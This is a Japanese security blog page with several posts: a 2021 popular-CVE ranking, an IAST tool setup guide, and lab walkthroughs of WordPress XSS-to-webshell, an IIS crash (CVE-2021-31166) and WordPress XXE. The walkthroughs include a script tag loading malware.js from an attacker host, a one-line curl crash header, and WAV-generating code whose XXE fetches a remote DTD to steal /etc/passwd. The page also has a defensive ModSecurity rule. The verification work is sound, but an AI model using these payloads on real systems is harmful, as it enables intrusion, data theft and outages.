まったり技術ブログ

主にWebエンジニア向けのセキュリティブログ。たまに開発も

2021年 人気脆弱性 TOP 10 in GitHub

f:id:motikan2010:20220119230024p:plain

はじめに

 2021年も終わってしまいました。人気脆弱性ランキングも決まってしまいました。

 1位はもちろんアノ脆弱性です。

 参考までに 2019年 と 2020年 の人気脆弱性を記載しておきます。

2019年

スコア CVE ID リポ数 スター合計
1位 5,413 CVE-2019-0708 / BlueKeep 111 4,303
2位 1,868 CVE-2019-11043 / PHP-FPM 16 1,708
3位 935 CVE-2019-2725 / Oracle WebLogic 17 765

2020年

スコア CVE ID リポ数 スター合計
1位 3,696 CVE-2020-0796 / SaltStack Salt 69 3,006
2位 3,451 CVE-2020-14882
/ Windows Background Intelligent Transfer Service
23 3,221
3位 3,149 CVE-2020-1472 / Apache Tomcat 45 2,699

2021年 人気脆弱性 TOP 10 in GitHub

10位 975 pt 『Microsoft Windows Server における権限を昇格される脆弱性 (CVE-2021-42287)』

 リポジトリ数: 1 スター数: 975

Kerberos 特権属性証明 (PAC) に影響を与えて、潜在的な攻撃者がドメイン コントローラーになりすますことを許可するセキュリティバイパスの脆弱性

support.microsoft.com

9位 1,005 pt 『Apache Druid における重要なリソースに対する不適切なパーミッションの割り当てに関する脆弱性 (CVE-2021-25646)』

 リポジトリ数: 7 スター数: 935

nicksecuritylog.com

8位 1,068 pt 『Microsoft Windows Server における権限を昇格される脆弱性 (CVE-2021-42278)』

 リポジトリ数: 5 スター数: 1,018

潜在的な攻撃者がコンピューターアカウント sAMAccountName スプーフィングを使用してドメインコントローラーを偽装できるセキュリティバイパスの脆弱性

support.microsoft.com

7位 1,149 pt 『VMware vCenter Server および Cloud Foundation における権限管理に関する脆弱性 (CVE-2021-21972)』

リポジトリ数: 26 スター数: 889

kb.vmware.com

6位 1,557 pt 『 Apache HTTP Server におけるディレクトリトラバーサルの脆弱性 (CVE-2021-41773)』

 リポジトリ数: 76 スター数: 797

www.nri-secure.co.jp

www.jpcert.or.jp

5位 1,667 pt 『Microsoft Exchange Server におけるリモートでコードを実行される脆弱性 (CVE-2021-26855 通称 ProxyLogon)』

 リポジトリ数: 41 スター数: 1,257

www.ipa.go.jp

security.macnica.co.jp

4位 2,034 pt 『Windows 印刷スプーラーのリモートでコードが実行される脆弱性 (CVE-2021-1675 通称 PrintNightmare)』

 リポジトリ数: 11 スター数: 1,924

www.jpcert.or.jp

3位 2,696 pt 『Microsoft MSHTML のリモートでコードが実行される脆弱性 (CVE-2021-40444)』

 リポジトリ数: 35 スター数: 2,346

www.jpcert.or.jp

msrc.microsoft.com

2位 2,847 pt 『sudo にヒープベースのバッファオーバーフローの脆弱性 (CVE-2021-3156 通称 Baron Samedi)』

 リポジトリ数: 52 スター数: 2,327

www.jpcert.or.jp

www.miraclelinux.com

1位 15,134 pt 『Apache Log4j における任意のコードが実行可能な脆弱性 (CVE-2021-44228 通称 Log4Shell)』

 リポジトリ数: 345 スター数: 11,684

f:id:motikan2010:20220119231559p:plain:w300
Log4Shellのロゴ

Log4j には JNDI Lookup 機能による外部入力値の検証不備に起因して任意の Java コードを実行可能な脆弱性が存在します。

 この脆弱性に関連するリポジトリが345個もあり、この脆弱性の再現が容易であることが分かります。

 ニュースでピックアップされるほど影響のある脆弱性でした。

f:id:motikan2010:20220119231409p:plain:w600

www.jpcert.or.jp

まとめ

簡易一覧

スコア 公表日 CVE ID リポ数 スター合計
1位 15,134 2021/12/10 CVE-2021-44228 / Apache Log4j 345 11,684
2位 2,847 2021/01/26 CVE-2021-3156 / sudo 52 2,327
3位 2,696 2021/09/15 CVE-2021-40444 / Microsoft MSHTML 35 2,346
4位 2,034 2021/06/08 CVE-2021-1675 / Windows 印刷スプーラー 11 1,924
5位 1,667 2021/03/02 CVE-2021-26855 / Microsoft Exchange Server 41 1,257
6位 1,557 2021/10/05 CVE-2021-41773 / Apache HTTP Server 76 797
7位 1,149 2021/02/24 CVE-2021-21972 / VMware vCenter Server 26 889
8位 1,068 2021/11/09 CVE-2021-42278 / Microsoft Windows Server 5 1,018
9位 1,005 2021/01/29 CVE-2021-25646 / Apache Druid 7 935
10位 975 2021/11/09 CVE-2021-42287 / Microsoft Windows Server 1 965

 今後、1位の Log4Shell のスコア「15,134」を超えられる脆弱性が現れるのか楽しみです。

リポジトリ数の上位

リポ数 CVE ID 概要
345 CVE-2021-44228 -
76 CVE-2021-41773 -
52 CVE-2021-3156 -
41 CVE-2021-26855 -
36 CVE-2021-26084 Confluence ServerおよびData CenterのOGNLインジェクション
35 CVE-2021-40444 -
26 CVE-2021-21972 -
24 CVE-2021-43798 Grafana のディレクトリトラバーサル
21 CVE-2021-22205 GitLab CE/EE の認証不要RCE
12 CVE-2021-38647 Open Management Infrastructure (OMI) のRCE

WordPressプラグインの脆弱性業界に動きがあった2021年

 2021年の脆弱性業界に大きな影響を与えたものの1つとして、『WPScanがCNAになった』ということがあります。

 WordPressプラグインの脆弱性は今までも多く報告されていましたが、WPScanが窓口になることでより多くの脆弱性がさばける(CVEが採番)ようになった印象があります。
(IPAに報告したら数年後に処理される軽度な脆弱性であっても、1~3日で処理されるようになりました)

 実際、2020年の3倍近く脆弱性が報告されています。
WPScanの中の人も積極的に脆弱性を探している模様です。 f:id:motikan2010:20220119223852p:plain

 WordPressプラグイン業界への影響としては、『保守されていないプラグインで脆弱性が見つかる → 修正される気配は無し → プラグインがクローズされる』といった事象が多くみられたので個人的には良い影響があった思っています。

参考

更新履歴

  • 2022年01月19日 新規作成

OSSのIAST、DongTaiをさわる【導入編】

f:id:motikan2010:20220113114159p:plain

はじめに

 2021年9月1日、火线安全平台社から「DongTai(ドンタイ) IAST ("洞态IAST"の表記もある)」がOSSとして公開されました。
(IAST = Interactive Application Security Testing)

f:id:motikan2010:20220107192818p:plain
製品ロゴ

 「グローバルプロフェッショナルIAST分野では初のオープンソースプロジェクト」と記載されていますが、Passive IASTでは世界初のOSSだと思います。

www.anquan419.com

 SaaS版も公開されています。「快速体验」ページから環境を構築することもなくDongTai IASTを試すことができます。

dongtai.io

 本記事では DongTai IAST の導入を説明していきます。

 ドキュメントをメモしていたりするので、こちらもどうぞ。
zenn.dev

環境構築

 以下の環境で構築しました。

  • EC2 (t2.medium / メモリ4G)
  • Amazon Linux 2 (5.10.75-79.358.amzn2.x86_64)
  • Docker 20.10.7
  • Docker Compose 1.29.2

DongTaiをリポジトリから取得

# git clone https://github.com/HXSecurity/DongTai.git
# cd DongTai/deploy/docker-compose/

DongTaiを起動

# ./dtctl
[Info] Usage:
[Usage]     ./dtctl -h                                          Display usage message
[Usage]     ./dtctl install -s mysql,redis  -v 1.0.5            Install iast server
[Usage]     ./dtctl remove|rm [-d]                              Uninstall iast server
[Usage]     ./dtctl upgrade -t 1.1.2                            Upgrade iast server
[Usage]     ./dtctl version                                     Get image version
[Usage]     ./dtctl dbhash                                      Get database schema hash
[Usage]     ./dtctl dbschema                                    Export database schema
[Usage]     ./dtctl dbrestore -f FILEPATH                       Restore mysql database
[Usage]     ./dtctl dbbackup  -d FILEPATH                       Backup mysql database
[Usage]     ./dtctl file                                        Export docker-compose.yml
[Usage]     ./dtctl logs webapi|openapi|web|mysql|web|engine    Extract tail logs
# ./dtctl install
[Info] check docker servie status.
[Info] docker service is up.
[Info] check port status
[+] please input web service port, default [80]:
[Info] port 80 is ok.
[Info] Starting docker compose ...
Creating network "dongtai-iast_default" with the default driver
Pulling dongtai-mysql (dongtai/dongtai-mysql:1.2.0)...
1.2.0: Pulling from dongtai/dongtai-mysql
72a69066d2fe: Pull complete
93619dbc5b36: Pull complete
(...snip...)
Creating dongtai-iast_dongtai-engine-task_1 ... done
Creating dongtai-iast_dongtai-web_1         ... done
[Important] Installation success!

docker-compose.yml の中身

 構成情報が記載されているdocker-compose.ymlは削除されるようになっていますが、./dtctl fileコマンドを用いることで、docker-compose.ymlを出力できます。

# ./dtctl file
# cat docker-compose.yml

 出力されたdocker-compose.ymlの内容は以下になっています。

version: "2"
services:
  dongtai-mysql:
    image: dongtai/dongtai-mysql:1.2.0
    restart: always
    volumes:
      - "/root/work/DongTai/deploy/docker-compose/data:/var/lib/mysql:rw"
    logging:
      driver: "json-file"
      options:
        max-size: "10m"
  dongtai-redis:
    image: dongtai/dongtai-redis:1.2.0
    restart: always
    logging:
      driver: "json-file"
      options:
        max-size: "10m"
  dongtai-webapi:
    image: "dongtai/dongtai-webapi:1.2.0"
    restart: always
    volumes:
      - "/root/work/DongTai/deploy/docker-compose/config-tutorial.ini:/opt/dongtai/webapi/conf/config.ini"
    logging:
      driver: "json-file"
      options:
        max-size: "10m"

  dongtai-web:
    image: "dongtai/dongtai-web:1.2.0"
    restart: always
    ports:
      - "80:80"
    volumes:
      - "/root/work/DongTai/deploy/docker-compose/nginx.conf:/etc/nginx/nginx.conf"
    depends_on:
      - dongtai-webapi
    logging:
      driver: "json-file"
      options:
        max-size: "10m"

  dongtai-openapi:
    image: "dongtai/dongtai-openapi:1.2.0"
    restart: always
    volumes:
       - "/root/work/DongTai/deploy/docker-compose/config-tutorial.ini:/opt/dongtai/openapi/conf/config.ini"
    logging:
      driver: "json-file"
      options:
        max-size: "10m"

  dongtai-engine:
    image: "dongtai/dongtai-engine:1.2.0"
    restart: always
    volumes:
      - "/root/work/DongTai/deploy/docker-compose/config-tutorial.ini:/opt/dongtai/engine/conf/config.ini"
    logging:
      driver: "json-file"
      options:
        max-size: "10m"


  dongtai-engine-task:
    image: "dongtai/dongtai-engine:1.2.0"
    restart: always
    command: ["/opt/dongtai/engine/docker/entrypoint.sh", "task"]
    volumes:
      - "/root/work/DongTai/deploy/docker-compose/config-tutorial.ini:/opt/dongtai/engine/conf/config.ini"
    depends_on:
      - dongtai-engine
    logging:
      driver: "json-file"
      options:
        max-size: "10m"

動作確認

 実際に DongTai を使ってみます。

 現在以下の言語に対応しています。

  • Java
  • Python
  • PHP (ベータ版)

 今回はJavaアプリケーションを用いていきます。

IASTのJavaエージェントの取得

 DongTaiの起動が完了したらアクセスします。

ログイン画面が表示されるので初期ログイン情報(admin/admin)を入力します。 f:id:motikan2010:20220107075229p:plain

 ログインするとDongTaiが導入されているアプリケーション一覧画面が表示されます。 まだDongTaiを導入していないので、空の状態になっています。

 右上の「+ Add Agent」ボタンを押下すると、エージェントの導入画面へ遷移することができます。

f:id:motikan2010:20220107075232p:plain

 「DongTai Java Agent」ボタンを押下してJavaエージェント(agent.jar)をダウンロードします。

f:id:motikan2010:20220107075234p:plain

脆弱アプリケーションの起動

  脆弱アプリケーションには以下のSpring Bootアプリケーションを利用します。
motikan2010/Vulnerability-Spring-Boot

-- ビルド
$ mvn clean package -Dmaven.test.skip=true
-- 起動
$ java -javaagent:agent.jar -jar target/vuln-0.0.1-SNAPSHOT.jar

 起動ログに「[io.dongtai.agent]~」が表示されていることが確認できます。

$ java -javaagent:agent.jar -jar target/vuln-0.0.1-SNAPSHOT.jar
[io.dongtai.agent] The engine configuration file is initialized successfully. file is /Users/motikan2010/IdeaProjects/Vulnerability-Spring-Boot/config/iast.properties
[io.dongtai.agent] register agent
[io.dongtai.agent] Agent has successfully registered with http://3.xxx.yyy.zzz/openapi
[io.dongtai.agent] engine delay time is 0 s
[io.dongtai.agent] Check if the engine[/var/folders/yw/0wl7x4w56tz9326ncdt107jr0000gn/T//iast-inject.jar] needs to be updated
[io.dongtai.agent] Engine does not exist in local cache, the engine will be downloaded.
[io.dongtai.agent] The remote file http://3.xxx.yyy.zzz/openapi/api/v1/engine/download?engineName=iast-inject was successfully written to the local cache.
[io.dongtai.agent] The remote file http://3.xxx.yyy.zzz/openapi/api/v1/engine/download?engineName=iast-core was successfully written to the local cache.
2022-01-07 06:52:05.870 [cn.huoxian.dongtai.engine] INFO  DongTai Engine is about to be installed, the installation mode is agent
2022-01-07 06:52:05.879 [cn.huoxian.dongtai.engine] INFO  Initialize the core configuration of the engine
2022-01-07 06:52:06.456 [cn.huoxian.dongtai.engine] INFO  The engine's core configuration is initialized successfully.
2022-01-07 06:52:06.456 [cn.huoxian.dongtai.engine] INFO  Start the data reporting submodule
2022-01-07 06:52:06.457 [cn.huoxian.dongtai.engine] INFO  The data reporting submodule started successfully
2022-01-07 06:52:06.458 [cn.huoxian.dongtai.engine] INFO  Register spy submodule
2022-01-07 06:52:06.461 [cn.huoxian.dongtai.engine] INFO  Spy sub-module registered successfully
2022-01-07 06:52:06.461 [cn.huoxian.dongtai.engine] INFO  Install data acquisition and analysis sub-modules
2022-01-07 06:52:07.392 [cn.huoxian.dongtai.engine] INFO  The sub-module of data acquisition and analysis is successfully installed
2022-01-07 06:52:07.394 [cn.huoxian.dongtai.engine] INFO  DongTai Engine is successfully installed to the JVM, and it takes 1 s
2022-01-07 06:52:07.394 [cn.huoxian.dongtai.engine] INFO  Turn on the engine
2022-01-07 06:52:07.395 [cn.huoxian.dongtai.engine] INFO  Engine opened successfully
[io.dongtai.agent] DongTai engine start successfully.
SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder".
SLF4J: Defaulting to no-operation (NOP) logger implementation
SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details.
(...snip...)

 アプリケーションの/lfiにアクセスし、「sample.txt」を入力し、送信します。

 ここで重要なのは「../../../../../etc/passwd」といった攻撃コードではなく、正常値である「sample.txt」を入力している点です。

f:id:motikan2010:20220107075240p:plain

検出した脆弱性の確認

 脆弱性が検出されたことを確認するために DongTai に戻ります。

 DongTai が導入されたアプリケーションが追加されていることが確認できます。

f:id:motikan2010:20220107075238p:plain

 「应用漏洞」(アプリケーションの脆弱性)から検出された脆弱性を確認することができます。

 検出された脆弱性内に「/lfi 的GET 出现路径穿越漏洞,位置:GET/HEADER」というものがあり、パストラバーサルが無事検出されたことが確認できます。
(パストラバーサルは中国語表記だと"路径穿越"になるそうです。)

 脆弱性を押下することで、脆弱性の詳細情報を見ることできます。 f:id:motikan2010:20220107075243p:plain

 脆弱性の詳細情報は以下のように表示されます。

 脆弱性があるパラメータなどの情報があります。 f:id:motikan2010:20220107075246p:plain

 少し下に行くと脆弱性が検出されるまでの流れが表示されます。

 IASTの特徴である「污点来源 (source)」「传播方法 (propagator)」「危险方法 (sink)」を確認することできます。

f:id:motikan2010:20220107075250p:plain

 ここまでが DongTai の導入方法・使い方でした。

まとめ

 IASTの実装を見ることができるのは珍しいので、いろいろ分かり次第「【導入篇】」の続きを書いていきたい次第。

Active IAST と Passive IAST

 IASTは「Active IAST」と「Passive IAST」に分類されます。

  2つの違いについては「開発者ファーストのアプリケーションセキュリティ完全ガイド」で説明されています。
開発者ファーストのアプリケーションセキュリティ完全ガイド

 IAST には2つのバリアントがあります。

 パッシブ IAST は、テスト環境で実行するアプリケーションに使用します。 アプリケーションでユースケースベースのQAテストを実行すると、エージェントがセキュリティの潜在的な脆弱性を特定します。 このアプローチでは、SAST または DAST を使用して検出できる脆弱性のサブセットも検出します。

 アクティブ IAST は、ライブ環境で実行しているアプリケーションに使用します。 これは DAST ツールの拡張機能として機能します。実行中のアプリケーションにエージェントがインストールされ、アプリケーションに対して DAST テストを実行します。 エージェントはスタックトレース情報を確認し、サーバー側で詳細な動作を分析できるため、DASTのプロセスと結果が改善されます。 アクティブ IAST は、スキャン時間を短縮し、DASTの攻撃結果を検証するのに役立ちます。

 DongTai IAST は Passive IAST に分類されます。

 Active IAST のOSSにはBaidu社が開発している「OpenRASP-IAST」があります。
baidu-security/openrasp-iast: IAST 灰盒扫描工具

IASTの実装に関して

 IASTの実装に興味のある人は以下の記事がおすすめです。

Log4ShellをRASP(Runtime Application Self-Protection)で対応

f:id:motikan2010:20211221182408g:plain

 ⚠️本記事で紹介するプログラムは教育目的です。実環境でのLog4Shell対策に利用しないでください!

  • はじめに
    • RASPとは
  • 開発・検証環境
  • 実装
    • 脆弱アプリケーション(Spring Boot)側の実装
      • 動作確認 (RASP適用前)
    • RASP の実装
      • AgentMain クラス
      • JndiLookupTransformer クラス
      • RASPロード時の処理のイメージ
      • 動作確認 (RASP適用後)
    • WAFをバイパスするような文字列を送信
  • まとめ
  • 更新履歴

はじめに

 Log4Shell(CVE-2021-44228)の脆弱性に対してのRASP(Runtime Application Self-Protection)を実装する方法を紹介していきます。

     RASP is ナニ? なひとむけ。

RASPとは

 RASPとは「Runtime Application Self-Protection」の略称であり、アプリケーションに組み込むことでアプリケーションをよりセキュアにするソフトウェアです。
 本記事ではJava製のWebアプリケーションに対して「javaagent」として組み込みます。

 Java以外だと、各言語に応じてPythonの場合はpipライブラリとして提供されていたり、PHPの場合だと拡張モジュールとして提供されていたりします。

  OSSだと「OpenRASP(Baidu社)」が有名です。

開発・検証環境

 以下のバージョンで動作検証を行いました。

  • Java (AdoptOpenJDK 11.0.8)
    • WebアプリケーションもRASPもこのバーションを利用します。
  • Spring Boot 2.6.1
    • 攻撃対象となるWebアプリケーション
  • Javassist 3.23.1-GA
    • バイトコードを操作するためにライブラリ。RASPを実装する際に利用します。
    • バイトコードを操作するライブラリとしては Byte BuddyやASM などもあります
続きを読む

WordPressで「RCE via XSS」をやる

f:id:motikan2010:20210611234207p:plain

TL;DR

  • WordPressで構築したサイト で XSS から RCE につなげる
    • そのために Webshell を配置

はじめに

 2021年5月7日にECサイトを構築できるソフトウェアである EC-CUBE にXSSの脆弱性があると公表されました。

www.ec-cube.net

 驚くことにこのXSSの脆弱性は既に悪用され、攻撃を受けたサイトではクレジットカード情報の漏洩が確認されたとのこと。

 この件と WordPress にどのような関係があるのかというと、WordPressに導入しているプラグインに XSS が存在している場合に EC-CUBE のときと同様に Webshell を配置することができるかどうかの検証を本記事では行います。

 EC-CUBE が標的となった事例は以下の記事が参考になります。
blog.trendmicro.co.jp

f:id:motikan2010:20210611124346j:plain
「不正注文」で国内オンラインショップサイトを侵害する攻撃キャンペーン「Water Pamola」 | トレンドマイクロ セキュリティブログ

 本記事では、実際にある WordPress プラグインに発見された XSS を使って Webshell を配置するまでの流れを説明をしていきます。

f:id:motikan2010:20210611133416p:plain
Webshell が配置されるまでの流れ

検証

 今回の検証環境は以下のとおりです。

WordPressのバージョンが異なると記述してあるスクリプトがうまく動かない可能性があります。

ソフトウェア名 バージョン 備考
WordPress 5.7.2 (2021年6月11現在最新) -
WP GDPR Compliance 1.5.5 XSSの脆弱性があるバージョン

①【管理者】脆弱性が存在しているプラグインのインストール

 この検証の前提として、WordPressサイトに認証不要のXSSの脆弱性がある必要があります。

 WordPressのプラグインは日々脆弱性が発見されています。その中から本検証で利用できそうなものを探し、脆弱性が修正されていないバージョンのプラグインをインストールします。

 今回は「WP GDPR Compliance < 1.5.6 - Unauthenticated Stored Cross-Site Scripting (XSS) Security Vulnerability」の脆弱性を利用します。

f:id:motikan2010:20210611030331p:plain:w700
WP GDPR Compliance < 1.5.6 - Unauthenticated Stored Cross-Site Scripting (XSS) Security Vulnerability

 脆弱性の説明には「認証不要で管理画面にXSSできる」と記載がありますので、本検証にはうってつけの脆弱性です。

 このプラグインに興味がある方はググってみてください。日本語の記事もあり、アクティブインストール数も20万以上もあることから人気なプラグインであることがわかります。

 そんな感じで WP GDPR Compliance をインストールしました。バージョンも 1.5.5 であることが確認できます。

f:id:motikan2010:20210611102435p:plain:w700

 次に脆弱性の検証に必要なプラグインの設定を行います。WP GDPR Compliance の設定画面で下画像の赤枠のよう設定します。
 この設定を行うことによって、後に埋め込まれる JavaScript の項目が表示されるようになります。

f:id:motikan2010:20210611030226p:plain:w700

  Requests タブを表示します。
インストール直後は何もデータが無いですが、後々この画面に悪意ある JavaScript が埋め込まれます。

f:id:motikan2010:20210611030259p:plain:w700

 これで準備は環境です。つまり脆弱なサイトの完成となります。

②【攻撃者】管理画面にスクリプトの埋め込み (XSS)

 次は攻撃者側の準備です。

 まず標的となるサイトの管理画面上で読み込ませたい JavaScript ファイルを作成します。

 このスクリプトの主な処理内容は以下のとおりです。

  • テーマの編集画面からセキュリティトークンの取得
  • system関数を用いたWebshellを404ページに埋め込むためのリクエストを送信

 検証では malware.js のファイル名で保存しているので、XSSで script タグを埋め込む場合はこのファイル名を参照するようにします。

f:id:motikan2010:20210611031722p:plain:w700

 まずプラグインのXSSを再現させるためにはセキュリティトークンが必要になりますが、サイトトップのHTML内にあります。

f:id:motikan2010:20210611030251p:plain:w600

 取得したセキュリティトークンを用いて以下のように標的となるサイトにリクエストを送信します。

f:id:motikan2010:20210611030256p:plain:w600

 攻撃に成功すると<script src=http://attacker.example.com:9000/malware.js><script> がサイト管理画面に挿入されます。

 管理画面にタグが埋め込まれるため攻撃者側からタグの有無は確認できません。

 ひとまず404ページを確認してみます。Webshell が埋め込まれる前は下画像の状態です。

f:id:motikan2010:20210611030241p:plain:w600

③【管理者】悪意あるJavaScriptの実行

 サイト管理者は「匿名化リクエストの管理画面」を確認したとします。

f:id:motikan2010:20210611032334p:plain:w600

 ブラウザの表示上は特に異変は何もなさそうですが、この画面のHTMLソースコードを確認してみます。

f:id:motikan2010:20210611030310p:plain:w700

 攻撃者によって scriptタグが埋め込まれており、攻撃者のXSSスクリプトサーバ上のmalware.jsの読み込みが行われていることが確認できます。

 JSファイルの処理内容は先に説明してある通り、webshell を配置するリクエストを送信する処理でした。
そのためこのファイルが読み込まれた時点で以下のリクエストが送信されていました。

f:id:motikan2010:20210611030326p:plain:w700

 ステータスコードは200で返ってきていますので、テーマ編集画面から取得したセキュリティトークンの検証も問題なく終え、テーマ編集処理が成功したことが分かります。(サイト管理者からすれば成功してしまった・・・)

 念のためテーマ編集画面から404ページのソースコードを確認してみましたが、やはり勝手に Webshell が埋め込まれていました。

f:id:motikan2010:20210612172133p:plain:w700

④【攻撃者】Webshellの起動

 そして 404ページは何らかのエラーが表示されるようになりました。
system関数に値を渡せとありますので、無事 webshell の配置することができました。

f:id:motikan2010:20210611102018p:plain:w700

 任意のコマンドが実行できることも確認できました。

f:id:motikan2010:20210611032452p:plain:w700

 攻撃は成功したようです。

 今回は webshell 配置をしましたが、管理画面での操作はほとんどできそうです。攻撃者が指定したプラグインのインストール・有効化などもできそうです。(※確認はしていません)

 テーマの404.phpではなくfunctions.phpを書き換えることで 404ページ以外にも影響を与えることも可能そう。

まとめ

 XSS経由で管理者の操作をする攻撃は今後増えていきそう。

 対策もなかなか難しそうな問題とも思ったり...。

 Webshell に改ざんした時に駆除されたり。
(でも実際のWebshellは複雑で検知されないものもあるので、スキャンツールに頼りすぎないように)

更新履歴

  • 2021年6月11日 新規作成

CVE-2021-31166 やる

f:id:motikan2010:20210521180447p:plain

はじめに

 今回は特定の Windows 環境で動作する CVE-2021-31166 (HTTP Protocol Stack Remote Code Execution) を検証していきます。
(PoCを動かすだけのク○記事を量産することに引け目を感じますが・・・(´・ω・)。)

CVE-2021-31166 の影響を受けるソフトウェアなどの詳細情報はこちらにあります。
msrc.microsoft.com

 脆弱性の詳細などはこちらにあります。 www.mcafee.com

unauthenticated denial-of-service (Blue Screen of Death)

ということで、認証なしにターゲットとなるサーバをブルースクリーンにすることができてしまう脆弱性です。

環境構築

 AWS EC2 上で「Windows Server, version 20H2 (Server Core Installation)」を動かし検証を進めていきます。

EC2 の起動

 2021年5月のセキュリティパッチが適用されてない AMI である「Windows_Server-20H2-English-Core-Base-2021.04.14 (ami-02b7a976673d1d133)」を選択して起動します。

f:id:motikan2010:20210520000826p:plain:w600

 (最初、誤ってセキュリティパッチ適用済みである「Microsoft Windows Server 20H2 Core Base (ami-0e2c9cfe1973e9a42)」を導入してしまい脆弱性の再現ができないといったことがありました。)

 インスタンスが起動したらパスワードを取得し、RDSで Windows Server に接続します。
aws.amazon.com

 パスワード取得はインスタンス起動後直後にはできなく、4分ほど待つ必要がありました。
f:id:motikan2010:20210520000751p:plain:w500

IIS(Internet Information Services) の導入

 まずは Windows PowerShell を起動し IIS が導入されているのかを確認します。

C:\Users\Administrator>powershell

PS C:\Users\Administrator>Get-WindowsFeature -Name Web-*

f:id:motikan2010:20210520000755p:plain:w600

 各項目で [ ] となっているので入っていなさそうです。

 以下のコマンドで IIS を導入します。

PS C:\Users\Administrator>Install-WindowsFeature Web-Server -IncludeAllSubFeature

 IIS が導入されたかを再度確認します。
f:id:motikan2010:20210520000803p:plain:w600

 念のため本脆弱性のパッチが適用されていないこと確認をします。以下のコマンドで確認できます。

PS C:\Users\Administrator>wmic qfe list

f:id:motikan2010:20210520000818p:plain:w600

 2021年4月までのパッチしか適用されていないことが確認できました。

ブラウザでアクセス

 ブラウザで IIS にアクセスします。以下のような画面が表示されていたら導入は完了です。
f:id:motikan2010:20210520000811p:plain:w600

脆弱性を試す

PoC を動かす & サーバが落ちたことの確認

 本脆弱性の PoC は既に GitHub 上で公開されています。 github.com

 上記リポジトリでは Python で実装されていますが、curl コマンドでも問題なので curl コマンドで検証行っていきます。

PoC 通りに Accept-Encodingヘッダーの値に「doar-e, ftw, imo, ,」を指定して送信します。

$ curl 'http://target.example.com/' -H 'Accept-Encoding: doar-e, ftw, imo, ,'
curl: (52) Empty reply from server

 先ほどアクセスした IIS の画面を更新してみます。下の画像では分かりづらいですが、レスポンスが返ってこない状態となります。
RDS の接続も切断されることも確認できます。
f:id:motikan2010:20210520000821p:plain:w600

 curl でアクセスしてみても同様にレスポンスが返却されないことが確認できます。

$ curl 'http://target.example.com/' -m 10
curl: (28) Operation timed out after 10002 milliseconds with 0 bytes received

 EC2 のモニタリング画面でもサーバが落ちたことを確認できます。
f:id:motikan2010:20210520001222p:plain:w500

 そして、Accept-Encodingヘッダー値は「doar-e, ftw, imo, ,」以外でも問題なく「1,,」という値でも再現します。

脆弱性の技術的な内容は PoC のリポジトリを参照ください。なんとなく分かるはずです。(私は1㍉もわかりませんでした)

$ curl 'http://target.example.com/' -H 'Accept-Encoding: 1,,'
curl: (52) Empty reply from server

【おまけ】 WAF (ModSecurity) でブロックしてみる

 PoC を動かすだけでは内容が寂しいので WAF (ModSecurity) のルールを書いてみました。

Accept-Encodingヘッダの仕様に詳しくない私が書いているので、あくまで参考程度に...。

SecRule REQUEST_HEADERS:Accept-Encoding "@rx .*,\s*," \
    "id:2,\
    t:none,log,deny,\
    msg:'CVE-2021-31166'"

 以下のようにブロックできてる。(っぽい)

$ curl 'http://target.example.com' -H 'Accept-Encoding: doar-e, ftw, imo, ,'
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.15.12</center>
</body>
</html>

$ curl 'http://target.example.com/' -H 'Accept-Encoding: 1,,'
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.15.12</center>
</body>
</html>

まとめ

Windows Server にさわる機会はすくないので助かる。
PowerShell is ナニ。
そしてインスタンスの停止忘れで死んだ。

更新履歴

  • 2021年5月19日 新規作成
  • 2021年5月21日 サムネイル修正

WordPress の XXE(CVE-2021-29447) やる

f:id:motikan2010:20210418213822p:plain

はじめに

 2021年4月15日に WordPress 5.7.1 がリリースされ、脆弱性が2つ修正されました。

wordpress.org

 その中の1つであるXXEの脆弱性(CVE-2021-29447) を検証していきます。
具体的には『Blind XXE』を使ってターゲットとなるWordPressサイトにからで /etc/passwdファイルの中身を取得します。

f:id:motikan2010:20210417214606p:plain:w700

 悪意あるXMLコードを含んだWAVファイル(.wav)をアップロードすることで脆弱性を悪用できますが、メディアをアップロードできるロールは以下の通りです。

 「投稿者 (Author)」以上のロールのアカウントがこの脆弱性を利用できます。

ロール メディアのアップロード
購読者 (Subscriber) できない
寄稿者 (Contributor) できない
投稿者 (Author) できる
編集者 (Editor) できる
管理者 (Administrator) できる

脆弱性の修正内容

 脆弱性の修正コミットはこちらです。
External libraries: Include upstream GetID3 fix for PHP 8. · WordPress/WordPress@c29db9c · GitHub

脆弱性の修正内容

 PHP のバージョンが8以上でも libxml_disable_entity_loader(true)関数 を呼び出すように修正されています。

脆弱性の検証

 検証環境は以下の通りです。

 ホストPCの各ソフトウェアのバージョンは記載しているもの以外でも動作すると思います。

  • ホストPC
    • Mac OS
    • Docker 20.10.5 → WordPress を動作に使う
    • PHP 7.3.21 → 攻撃者Webサーバを動作に使う
    • npm 7.7.0 → 攻撃用WAVファイルを生成に使う
  • WordPress Docker 環境
    • WordPress 5.7
    • PHP 8

 下のリポジトリ内のコードを用いて脆弱性の検証を行っていきます。

github.com

WordPressの起動

 Dockerで攻撃対象となる WordPress を起動します。WordPressのバージョンは 5.7 です。
そして初期設定としてサイト名や管理者アカウント情報などを設定します。

$ make up-wp
docker-compose up
Creating network "cve-2021-29447_default" with the default driver
Creating cve-2021-29447_db_1 ... done
Creating cve-2021-29447_wordpress_1 ... done
Attaching to cve-2021-29447_db_1, cve-2021-29447_wordpress_1

アカウントの確認

 検証で使用するアカウントを作成します。

 メディアをアップロードできるロールの中で一番権限の弱い「投稿者 (Author)」アカウントを作成します。

f:id:motikan2010:20210417214748p:plain:w700

攻撃用WAVファイルの生成

 iXML チャンク部分に攻撃コードを含んだ WAVファイル(.wav) を作成していきます。

 iXML チャンクを操作するために wavefile というnpmライブラリを使いました。

github.com

 WAVファイルを生成するコードは下のようになっています。

 setiXML関数の引数に iXML チャンクの内容を記述します。攻撃者Webサーバの DTDファイルを取得するXMLを定義しています。

const fs = require('fs');
const wavefile = require('wavefile');

let wav = new wavefile.WaveFile();
wav.fromScratch(1, 44100, '32', [0, -2147483, 2147483, 4]);
wav.setiXML('<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM \'http://host.docker.internal:8001/evil.dtd\'>%remote;%init;%trick;]>');
fs.writeFileSync('malicious.wav', wav.toBuffer());

 作成したmalicious.wavに攻撃コードが含まれていることが確認できます。 WAVファイルの生成

 ちなみに iXML チャンクの説明は以下の通り。ファイルのメタデータを格納する領域とのこと。

